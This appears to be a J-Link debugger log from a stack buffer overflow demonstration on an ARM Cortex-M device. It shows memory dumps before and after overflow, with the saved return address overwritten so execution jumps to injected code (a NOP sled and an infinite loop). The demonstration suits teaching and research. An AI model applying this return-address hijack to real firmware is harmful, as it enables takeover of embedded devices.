```
J-Link>setbp 0x1082 <--- vulnerable call
Breakpoint set @ addr 0x00001082 (Handle = 2)
J-Link>go
```

```
CPU is halted (PC = 0x00001082).
J-Link>regs
PC = 00001082, CycleCnt = 00EAAFB6
R0 = 2003FEDC, R1 = 00003149, R2 = 00003149, R3 = 2003FEDC
R4 = 00000000, R5 = 00000000, R6 = 00000000, R7 = 2003FED0
R8 = 9220C050, R9 = D08C106E, R10= 20030000, R11= 00000000
R12= ABA08801
SP(R13)= 2003FED0, MSP= 2003FED0, PSP= 00000000, R14(LR) = 00001F3F
```

Before Overflow

```
J-Link>mem32 2003FED0,0x100
2003FED0 = 2003C944 2003C954 4EE54BA6 33333131
2003FEE0 = 33333131 33333131 33333131 33333131
2003FEF0 = 33333131 33333131 33333131 33333131
2003FF00 = 33333131 33333131 33333131 33333131
2003FF10 = 33333131 33333131 33333131 33333131
2003FF20 = 33333131 33333131 33333131 33333131
2003FF30 = 33333131 33333131 33333131 33333131
2003FF40 = 33333131 33333131 33333131 33333131
2003FF50 = 33333131 33333131 33333131 33333131
2003FF60 = 33333131 33333131 33333131 33333131
2003FF70 = 33333131 33333131 33333131 10333131
2003FF80 = 33333131 2003FF88 2003FFB0 FFFFFFB8
2003FF90 = 00000001 E000E100 00010000 00000001
2003FFA0 = ABA08801 000025DB 000026BE 29000000
2003FFB0 = 00010000 2003C954 ABA08801 006025DB
2003FFC0 = 2003FFC8 00002863 2003FFF0 2003C954
2003FFD0 = 00000001 00000000 00010000 31310001
2003FFE0 = ABA08801 01003147 2003FFF0 000017D9  Original Return
2003FFF0 = 00000000 00000000 00000000 000001BB
20040000 = BF00BF00 BF00BF00 E7FEBF00 A0F10400
20040010 = 33338047 33333131 33333131 33333131
```

After Overflow

```
J-Link>mem32 2003FED0,0x100
2003FED0 = 2003C944 2003C954 4EE54BA6 33333131
2003FEE0 = 33333131 33333131 33333131 33333131
2003FEF0 = 33333131 33333131 33333131 33333131
2003FF00 = 33333131 33333131 33333131 33333131
2003FF10 = 33333131 33333131 33333131 33333131
2003FF20 = 33333131 33333131 33333131 33333131
2003FF30 = 33333131 33333131 33333131 33333131
2003FF40 = 33333131 33333131 33333131 33333131
2003FF50 = 33333131 33333131 33333131 33333131
2003FF60 = 33333131 33333131 33333131 33333131
2003FF70 = 33333131 33333131 33333131 33333131
2003FF80 = 33333131 33333131 33333131 33333131
2003FF90 = 33333131 33333131 33333131 33333131
2003FFA0 = 33333131 33333131 33333131 33333131
2003FFB0 = 33333131 33333131 33333131 33333131
2003FFC0 = 33333131 33333131 33333131 33333131
2003FFD0 = 33333131 33333131 33333131 84C00000
2003FFE0 = AA002000 A8A5CCBB 00000066 2004000B  Payload Return
2003FFF0 = 24070001 24242424 BF00BF00 BF00BF00
20040000 = BF00BF00 BF00BF00 E7FEBF00 A0F10400
20040010 = 33338047 33333131 33333131 33333131
```

```
J-Link>setbp 0x1140 <--- function exit
Breakpoint set @ addr 0x00001140 (Handle = 1)
```

```
PC = 00001140, CycleCnt = 02ACD568
R0 = 00000031, R1 = 00000002, R2 = 00000010, R3 = 38000000
R4 = 00000000, R5 = 00000000, R6 = 00000000, R7 = 2003FFE8
R8 = 9220C050, R9 = D08C106E, R10= 20030000, R11= 00000000
R12= ABA08801
SP(R13)= 2003FFE8, MSP= 2003FFE8, PSP= 00000000, R14(LR) = 0000113B
J-Link>mem32 2003FFE8,0x20
2003FFE8 = 00000066 2004000B 24070001 24242424
2003FFF8 = BF00BF00 BF00BF00 BF00BF00 BF00BF00
20040008 = E7FEBF00 A0F10400 33338047 33333131
20040018 = 33333131 33333131 33333131 33333131
20040028 = 33333131 33333131 33333131 33333131
20040038 = 33333131 33333131 33333131 33333131
20040048 = 33333131 33333131 33333131 33333131
20040058 = 33333131 33333131 33333131 33333131
J-Link>s
00001140:   80 BD             POP       {R7,PC}
```

```
J-Link>regs
PC = 2004000A, CycleCnt = 02ACD570
R0 = 00000031, R1 = 00000002, R2 = 00000010, R3 = 38000000
R4 = 00000000, R5 = 00000000, R6 = 00000000, R7 = 00000066
R8 = 9220C050, R9 = D08C106E, R10= 20030000, R11= 00000000
R12= ABA08801
SP(R13)= 2003FFF0, MSP= 2003FFF0, PSP= 00000000, R14(LR) =
J-Link>s
2004000A:   FE E7             B         #-0x04
J-Link>s
2004000A:   FE E7             B         #-0x04
```